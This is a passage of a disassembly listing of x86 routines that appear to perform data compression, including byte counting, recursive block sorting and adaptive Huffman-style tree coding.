loc_48E243: ; CODE XREF: sub_48DCFB+52Fj mov eax, [ebp+var_4] add eax, 1 cmp eax, [ebp+arg_4] jnb short loc_48E265 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_A8] call sub_48DCFB loc_48E265: ; CODE XREF: sub_48DCFB:loc_48DDC4j ; sub_48DCFB+357j ... pop esi mov esp, ebp pop ebp retn 0Ch sub_48DCFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48E26C proc near ; CODE XREF: sub_48E26C+5D6p ; sub_48E26C+626p ... var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 9Ch push esi mov [ebp+var_9C], ecx mov eax, [ebp+arg_0] add eax, 2 cmp eax, [ebp+arg_4] jnz loc_48E349 mov ecx, [ebp+var_9C] mov edx, [ecx+0Ch] mov eax, [ebp+arg_0] mov ecx, [edx+eax*4+4] push ecx ; Buf2 mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4] push edx ; Buf1 mov ecx, [ebp+var_9C] call sub_48DBA7 test eax, eax jle loc_48E344 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_9C] mov edx, [ecx+0Ch] mov eax, [ebp+arg_0] lea ecx, [edx+eax*4] mov [ebp+var_24], ecx mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+var_34] lea edx, [eax+ecx*4] mov [ebp+var_28], edx mov eax, [ebp+var_24] mov ecx, [eax] mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [ebp+var_28] mov ecx, [eax] mov [edx], ecx mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov [edx], eax mov ecx, [ebp+var_9C] mov edx, [ecx+18h] mov eax, [ebp+arg_0] lea ecx, [edx+eax*4] mov [ebp+var_1C], ecx mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+var_34] lea edx, [eax+ecx*4] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [eax] mov [ebp+var_30], ecx mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov ecx, [eax] mov [edx], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_30] mov [edx], eax loc_48E344: ; CODE XREF: sub_48E26C+4Dj jmp loc_48E897 ; --------------------------------------------------------------------------- loc_48E349: ; CODE XREF: sub_48E26C+19j mov ecx, [ebp+arg_0] add ecx, 3 cmp ecx, [ebp+arg_4] jnz loc_48E5AF mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4+8] push edx ; Buf2 mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+arg_0] mov eax, [ecx+edx*4] push eax ; Buf1 mov ecx, [ebp+var_9C] call sub_48DBA7 test eax, eax jle loc_48E411 mov ecx, [ebp+arg_0] add ecx, 2 mov [ebp+var_50], ecx mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_40], edx mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+var_50] lea eax, [ecx+edx*4] mov [ebp+var_44], eax mov ecx, [ebp+var_40] mov edx, [ecx] mov [ebp+var_48], edx mov eax, [ebp+var_40] mov ecx, [ebp+var_44] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_44] mov ecx, [ebp+var_48] mov [eax], ecx mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_38], edx mov eax, [ebp+var_9C] mov ecx, [eax+18h] mov edx, [ebp+var_50] lea eax, [ecx+edx*4] mov [ebp+var_3C], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_4C], edx mov eax, [ebp+var_38] mov ecx, [ebp+var_3C] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_3C] mov ecx, [ebp+var_4C] mov [eax], ecx loc_48E411: ; CODE XREF: sub_48E26C+11Aj mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4+4] push edx ; Buf2 mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+arg_0] mov eax, [ecx+edx*4] push eax ; Buf1 mov ecx, [ebp+var_9C] call sub_48DBA7 test eax, eax jle loc_48E4CF mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_5C], edx mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+var_6C] lea eax, [ecx+edx*4] mov [ebp+var_60], eax mov ecx, [ebp+var_5C] mov edx, [ecx] mov [ebp+var_64], edx mov eax, [ebp+var_5C] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_60] mov ecx, [ebp+var_64] mov [eax], ecx mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_54], edx mov eax, [ebp+var_9C] mov ecx, [eax+18h] mov edx, [ebp+var_6C] lea eax, [ecx+edx*4] mov [ebp+var_58], eax mov ecx, [ebp+var_54] mov edx, [ecx] mov [ebp+var_68], edx mov eax, [ebp+var_54] mov ecx, [ebp+var_58] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_58] mov ecx, [ebp+var_68] mov [eax], ecx jmp loc_48E5AA ; --------------------------------------------------------------------------- loc_48E4CF: ; CODE XREF: sub_48E26C+1D3j mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] mov edx, [eax+ecx*4+8] push edx ; Buf2 mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+arg_0] mov eax, [ecx+edx*4+4] push eax ; Buf1 mov ecx, [ebp+var_9C] call sub_48DBA7 test eax, eax jle loc_48E5AA mov ecx, [ebp+arg_0] add ecx, 2 mov [ebp+var_8C], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+var_88], edx mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+var_88] lea eax, [ecx+edx*4] mov [ebp+var_78], eax mov ecx, [ebp+var_9C] mov edx, [ecx+0Ch] mov eax, [ebp+var_8C] lea ecx, [edx+eax*4] mov [ebp+var_7C], ecx mov edx, [ebp+var_78] mov eax, [edx] mov [ebp+var_80], eax mov ecx, [ebp+var_78] mov edx, [ebp+var_7C] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_7C] mov edx, [ebp+var_80] mov [ecx], edx mov eax, [ebp+var_9C] mov ecx, [eax+18h] mov edx, [ebp+var_88] lea eax, [ecx+edx*4] mov [ebp+var_70], eax mov ecx, [ebp+var_9C] mov edx, [ecx+18h] mov eax, [ebp+var_8C] lea ecx, [edx+eax*4] mov [ebp+var_74], ecx mov edx, [ebp+var_70] mov eax, [edx] mov [ebp+var_84], eax mov ecx, [ebp+var_70] mov edx, [ebp+var_74] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_74] mov edx, [ebp+var_84] mov [ecx], edx loc_48E5AA: ; CODE XREF: sub_48E26C+25Ej ; sub_48E26C+292j jmp loc_48E897 ; --------------------------------------------------------------------------- loc_48E5AF: ; CODE XREF: sub_48E26C+E6j cmp [ebp+arg_8], 0 jz loc_48E68A loc_48E5B9: ; CODE XREF: sub_48E26C+414j mov eax, 1 test eax, eax jz loc_48E685 mov ecx, [ebp+var_9C] mov edx, [ecx+18h] mov eax, [ebp+arg_0] lea ecx, [edx+eax*4] mov [ebp+var_4], ecx mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+arg_4] lea edx, [eax+ecx*4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax loc_48E5F0: ; CODE XREF: sub_48E26C+3CEj mov ecx, [ebp+var_4] cmp ecx, [ebp+var_8] jnb short loc_48E63C mov edx, [ebp+var_9C] mov eax, [edx+0Ch] mov ecx, [ebp+var_14] mov edx, [eax+ecx*4] mov [ebp+var_90], edx mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_90] push edx mov ecx, [ebp+var_9C] call sub_48DA60 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx jmp short loc_48E5F0 ; --------------------------------------------------------------------------- loc_48E63C: ; CODE XREF: sub_48E26C+38Aj push 80000000h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_9C] call sub_48DCFB mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+var_9C] mov edx, [ecx+18h] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [eax+ecx*4] cmp eax, [edx+esi*4-4] jz short loc_48E677 jmp short loc_48E685 ; --------------------------------------------------------------------------- loc_48E677: ; CODE XREF: sub_48E26C+407j mov ecx, [ebp+arg_8] add ecx, 4 mov [ebp+arg_8], ecx jmp loc_48E5B9 ; --------------------------------------------------------------------------- loc_48E685: ; CODE XREF: sub_48E26C+354j ; sub_48E26C+409j jmp loc_48E77C ; --------------------------------------------------------------------------- loc_48E68A: ; CODE XREF: sub_48E26C+347j mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_4], edx mov eax, [ebp+var_9C] mov ecx, [eax+18h] mov edx, [ebp+arg_4] lea eax, [ecx+edx*4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_14], ecx loc_48E6B4: ; CODE XREF: sub_48E26C+4F3j mov edx, [ebp+var_4] cmp edx, [ebp+var_8] jnb loc_48E764 mov eax, [ebp+var_9C] mov ecx, [eax+0Ch] mov edx, [ebp+var_14] mov eax, [ecx+edx*4] mov [ebp+var_94], eax mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_9C] mov eax, [ebp+var_94] cmp eax, [edx+8] jnb short loc_48E731 mov ecx, [ebp+var_94] xor edx, edx mov dl, [ecx] shl edx, 18h mov eax, [ebp+var_94] xor ecx, ecx mov cl, [eax+1] shl ecx, 10h or edx, ecx mov eax, [ebp+var_94] xor ecx, ecx mov cl, [eax+2] shl ecx, 8 or edx, ecx mov eax, [ebp+var_94] xor ecx, ecx mov cl, [eax+3] or edx, ecx mov [ebp+var_98], edx jmp short loc_48E74B ; --------------------------------------------------------------------------- loc_48E731: ; CODE XREF: sub_48E26C+481j push 0 mov edx, [ebp+var_94] push edx mov ecx, [ebp+var_9C] call sub_48DA60 mov [ebp+var_98], eax loc_48E74B: ; CODE XREF: sub_48E26C+4C3j mov eax, [ebp+var_4] mov ecx, [ebp+var_98] mov [eax], ecx mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx jmp loc_48E6B4 ; --------------------------------------------------------------------------- loc_48E764: ; CODE XREF: sub_48E26C+44Ej push 80000000h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_9C] call sub_48DCFB loc_48E77C: ; CODE XREF: sub_48E26C:loc_48E685j mov edx, [ebp+var_9C] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_4], edx mov eax, [ebp+var_9C] mov ecx, [eax+18h] mov edx, [ebp+arg_4] lea eax, [ecx+edx*4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_10], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_48E7C1: ; CODE XREF: sub_48E26C:loc_48E86Aj mov edx, [ebp+var_4] cmp edx, [ebp+var_8] jnb loc_48E86F mov eax, [ebp+var_8] sub eax, [ebp+var_4] sar eax, 2 mov [ebp+var_18], eax cmp [ebp+var_18], 100h jbe short loc_48E7F0 mov ecx, [ebp+var_14] add ecx, 100h mov [ebp+var_18], ecx jmp short loc_48E7F9 ; --------------------------------------------------------------------------- loc_48E7F0: ; CODE XREF: sub_48E26C+574j mov edx, [ebp+var_18] add edx, [ebp+var_14] mov [ebp+var_18], edx loc_48E7F9: ; CODE XREF: sub_48E26C+582j ; sub_48E26C+5FCj mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_48E86A mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+var_10] jnz short loc_48E81F mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_48E85F ; --------------------------------------------------------------------------- loc_48E81F: ; CODE XREF: sub_48E26C+59Dj cmp [ebp+var_C], 0 jz short loc_48E84E mov edx, [ebp+arg_8] add edx, 4 push edx mov eax, [ebp+var_14] push eax mov ecx, [ebp+var_C] add ecx, 1 mov edx, [ebp+var_14] sub edx, ecx push edx mov ecx, [ebp+var_9C] call sub_48E26C mov [ebp+var_C], 0 loc_48E84E: ; CODE XREF: sub_48E26C+5B7j mov eax, [ebp+var_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx loc_48E85F: ; CODE XREF: sub_48E26C+5B1j mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax jmp short loc_48E7F9 ; --------------------------------------------------------------------------- loc_48E86A: ; CODE XREF: sub_48E26C+593j jmp loc_48E7C1 ; --------------------------------------------------------------------------- loc_48E86F: ; CODE XREF: sub_48E26C+55Bj cmp [ebp+var_C], 0 jz short loc_48E897 mov ecx, [ebp+arg_8] add ecx, 4 push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] add eax, 1 mov ecx, [ebp+arg_4] sub ecx, eax push ecx mov ecx, [ebp+var_9C] call sub_48E26C loc_48E897: ; CODE XREF: sub_48E26C:loc_48E344j ; sub_48E26C:loc_48E5AAj ... pop esi mov esp, ebp pop ebp retn 0Ch sub_48E26C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48E89E proc near ; CODE XREF: sub_48EA9D+1Cp var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h Dst = dword ptr -810h var_410 = dword ptr -410h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 81Ch mov [ebp+var_81C], ecx mov eax, [ebp+var_81C] mov ecx, [ebp+arg_4] mov [eax+10h], ecx mov edx, [ebp+var_81C] mov eax, [ebp+arg_0] mov [edx], eax mov ecx, [ebp+var_81C] mov edx, [ecx] mov eax, [ebp+var_81C] add edx, [eax+10h] mov ecx, [ebp+var_81C] mov [ecx+4], edx mov edx, [ebp+var_81C] mov eax, [edx+4] sub eax, 4 mov ecx, [ebp+var_81C] mov [ecx+8], eax mov edx, [ebp+var_81C] mov eax, [ebp+arg_8] mov [edx+0Ch], eax mov ecx, [ebp+var_81C] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_81C] mov eax, [edx+10h] shl eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp+var_818], eax mov ecx, [ebp+var_81C] mov edx, [ebp+var_818] mov [ecx+18h], edx push 400h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset_0 add esp, 0Ch mov ecx, [ebp+var_81C] mov edx, [ecx] mov [ebp+var_4], edx jmp short loc_48E962 ; --------------------------------------------------------------------------- loc_48E959: ; CODE XREF: sub_48E89E+F1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_48E962: ; CODE XREF: sub_48E89E+B9j mov ecx, [ebp+var_81C] mov edx, [ebp+var_4] cmp edx, [ecx+4] jnb short loc_48E991 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, [ebp+ecx*4+Dst] add edx, 1 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+ecx*4+Dst], edx jmp short loc_48E959 ; --------------------------------------------------------------------------- loc_48E991: ; CODE XREF: sub_48E89E+D0j mov [ebp+var_10], 0 mov [ebp+var_814], 0 jmp short loc_48E9C3 ; --------------------------------------------------------------------------- loc_48E9A4: ; CODE XREF: sub_48E89E+13Ej mov edx, [ebp+var_10] mov eax, [ebp+var_814] add eax, [ebp+edx*4+Dst] mov [ebp+var_814], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_48E9C3: ; CODE XREF: sub_48E89E+104j cmp [ebp+var_10], 100h jge short loc_48E9DE mov edx, [ebp+var_10] mov eax, [ebp+var_814] mov [ebp+edx*4+var_410], eax jmp short loc_48E9A4 ; --------------------------------------------------------------------------- loc_48E9DE: ; CODE XREF: sub_48E89E+12Cj mov ecx, [ebp+var_81C] mov edx, [ecx] mov [ebp+var_8], edx jmp short loc_48E9F4 ; --------------------------------------------------------------------------- loc_48E9EB: ; CODE XREF: sub_48E89E+1A0j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_48E9F4: ; CODE XREF: sub_48E89E+14Bj mov ecx, [ebp+var_81C] mov edx, [ebp+var_8] cmp edx, [ecx+4] jnb short loc_48EA40 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+ecx*4+var_410] mov eax, [ebp+var_81C] mov ecx, [eax+0Ch] mov eax, [ebp+var_8] mov [ecx+edx*4], eax mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+edx*4+var_410] add eax, 1 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+edx*4+var_410], eax jmp short loc_48E9EB ; --------------------------------------------------------------------------- loc_48EA40: ; CODE XREF: sub_48E89E+162j mov [ebp+var_C], 0 jmp short loc_48EA52 ; --------------------------------------------------------------------------- loc_48EA49: ; CODE XREF: sub_48E89E:loc_48EA95j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_48EA52: ; CODE XREF: sub_48E89E+1A9j cmp [ebp+var_C], 100h jge short loc_48EA97 mov ecx, [ebp+var_C] cmp [ebp+ecx*4+Dst], 1 jbe short loc_48EA95 push 0 mov edx, [ebp+var_C] mov eax, [ebp+edx*4+var_410] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_C] mov eax, [ebp+ecx*4+var_410] sub eax, [ebp+edx*4+Dst] push eax mov ecx, [ebp+var_81C] call sub_48E26C loc_48EA95: ; CODE XREF: sub_48E89E+1C8j jmp short loc_48EA49 ; --------------------------------------------------------------------------- loc_48EA97: ; CODE XREF: sub_48E89E+1BBj mov esp, ebp pop ebp retn 0Ch sub_48E89E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EA9D proc near ; CODE XREF: sub_48D2A6+2Ep var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_4], 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx lea ecx, [ebp+var_1C] call sub_48E89E mov eax, [ebp+var_4] mov [ebp+var_20], eax mov ecx, [ebp+var_20] push ecx call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn sub_48EA9D endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EAE0 proc near ; CODE XREF: .text:0048D069p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h push esi mov byte_4F36B8, 0 push 1 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_4] push ecx lea ecx, [ebp+var_18] call sub_48F5D0 lea edx, [ebp+var_18] push edx mov eax, [ebp+arg_8] mov ecx, [eax] push ecx mov edx, [ebp+arg_0] push edx call sub_48EB81 add esp, 0Ch mov eax, [ebp+var_18] add eax, 1 mov esi, [ebp+var_C] sub esi, eax mov cl, [ebp+var_14] push ecx lea ecx, [ebp+var_18] call sub_48F644 lea esi, [eax+esi*8] mov dl, [ebp+var_4] push edx lea ecx, [ebp+var_18] call sub_48F644 mov ecx, 8 sub ecx, eax add esi, ecx mov [ebp+var_1C], esi mov edx, [ebp+var_1C] add edx, 7 shr edx, 3 mov eax, [ebp+arg_8] mov [eax], edx mov cl, [ebp+var_3] mov byte ptr [ebp+var_20], cl mov edx, [ebp+var_20] and edx, 0FFh test edx, edx jz short loc_48EB70 mov byte_4F36B8, 1 loc_48EB70: ; CODE XREF: sub_48EAE0+87j xor eax, eax mov al, byte_4F36B8 neg eax sbb eax, eax inc eax pop esi mov esp, ebp pop ebp retn sub_48EAE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EB81 proc near ; CODE XREF: sub_48EAE0+2Ep var_2448 = dword ptr -2448h var_2444 = dword ptr -2444h var_2440 = byte ptr -2440h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2448h call __alloca_probe_0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] mov [ebp+var_2444], ecx lea edx, [ebp+var_2440] push edx call sub_48EC28 add esp, 4 loc_48EBAF: ; CODE XREF: sub_48EB81+89j mov eax, [ebp+var_4] cmp eax, [ebp+var_2444] jnb short loc_48EC0C mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_2448], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_2448] and edx, 0FFh push edx lea eax, [ebp+var_2440] push eax call sub_48ED1D add esp, 0Ch mov ecx, [ebp+var_2448] and ecx, 0FFh push ecx lea edx, [ebp+var_2440] push edx call sub_48EDD3 add esp, 8 jmp short loc_48EBAF ; --------------------------------------------------------------------------- loc_48EC0C: ; CODE XREF: sub_48EB81+37j mov eax, [ebp+arg_8] push eax push 100h lea ecx, [ebp+var_2440] push ecx call sub_48ED1D add esp, 0Ch mov esp, ebp pop ebp retn sub_48EB81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EC28 proc near ; CODE XREF: sub_48EB81+26p ; sub_48F434+29p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov dword ptr [eax+418h], 1 mov ecx, [ebp+arg_0] mov dword ptr [ecx+414h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+40Ch], 2 mov eax, [ebp+arg_0] mov dword ptr [eax+410h], 0FFFFFFFFh mov ecx, [ebp+arg_0] mov dword ptr [ecx+428h], 100h mov edx, [ebp+arg_0] mov dword ptr [edx+424h], 1 mov eax, [ebp+arg_0] mov dword ptr [eax+41Ch], 1 mov ecx, [ebp+arg_0] mov dword ptr [ecx+420h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+400h], 1 mov eax, [ebp+arg_0] mov dword ptr [eax+438h], 101h mov ecx, [ebp+arg_0] mov dword ptr [ecx+434h], 1 mov edx, [ebp+arg_0] mov dword ptr [edx+42Ch], 1 mov eax, [ebp+arg_0] mov dword ptr [eax+430h], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+404h], 2 mov edx, [ebp+arg_0] mov dword ptr [edx+408h], 3 mov [ebp+var_4], 0 jmp short loc_48ED01 ; --------------------------------------------------------------------------- loc_48ECF8: ; CODE XREF: sub_48EC28+EFj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_48ED01: ; CODE XREF: sub_48EC28+CEj cmp [ebp+var_4], 100h jge short loc_48ED19 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4], 0FFFFFFFFh jmp short loc_48ECF8 ; --------------------------------------------------------------------------- loc_48ED19: ; CODE XREF: sub_48EC28+E0j mov esp, ebp pop ebp retn sub_48EC28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48ED1D proc near ; CODE XREF: sub_48EB81+65p ; sub_48EB81+9Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_C], 0 mov [ebp+var_10], 1 mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] mov [ebp+var_4], edx cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_48ED56 mov eax, [ebp+arg_0] mov ecx, [eax+404h] mov [ebp+var_4], ecx loc_48ED56: ; CODE XREF: sub_48ED1D+2Bj ; sub_48ED1D+76j cmp [ebp+var_4], 0 jz short loc_48ED95 mov edx, [ebp+var_4] and edx, 1 test edx, edx jnz short loc_48ED6F mov eax, [ebp+var_C] or eax, [ebp+var_10] mov [ebp+var_C], eax loc_48ED6F: ; CODE XREF: sub_48ED1D+47j mov ecx, [ebp+var_10] shl ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+410h] mov [ebp+var_4], edx jmp short loc_48ED56 ; --------------------------------------------------------------------------- loc_48ED95: ; CODE XREF: sub_48ED1D+3Dj mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] push ecx mov ecx, [ebp+arg_8] call sub_48F734 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0FFFFFFFFh jnz short loc_48EDCF push 8 mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+arg_8] call sub_48F734 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_48F2BB add esp, 8 loc_48EDCF: ; CODE XREF: sub_48ED1D+92j mov esp, ebp pop ebp retn sub_48ED1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EDD3 proc near ; CODE XREF: sub_48EB81+81p ; sub_48F434+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push esi mov eax, [ebp+arg_0] cmp dword ptr [eax+40Ch], 8000h jnz short loc_48EDF5 mov ecx, [ebp+arg_0] push ecx call sub_48EEAD add esp, 4 loc_48EDF5: ; CODE XREF: sub_48EDD3+14j mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+edx*4] mov [ebp+var_8], ecx loc_48EE01: ; CODE XREF: sub_48EDD3+D0j cmp [ebp+var_8], 0FFFFFFFFh jz loc_48EEA8 mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+edx+40Ch] add ecx, 1 mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+arg_0] mov [eax+edx+40Ch], ecx mov ecx, [ebp+var_8] mov [ebp+var_4], ecx jmp short loc_48EE3F ; --------------------------------------------------------------------------- loc_48EE36: ; CODE XREF: sub_48EDD3:loc_48EE6Cj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_48EE3F: ; CODE XREF: sub_48EDD3+61j cmp [ebp+var_4], 0 jle short loc_48EE6E mov eax, [ebp+var_4] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] shl ecx, 4 mov edx, [ebp+arg_0] mov esi, [ebp+arg_0] mov eax, [edx+eax+40Ch] cmp eax, [esi+ecx+40Ch] jb short loc_48EE6C jmp short loc_48EE6E ; --------------------------------------------------------------------------- loc_48EE6C: ; CODE XREF: sub_48EDD3+95j jmp short loc_48EE36 ; --------------------------------------------------------------------------- loc_48EE6E: ; CODE 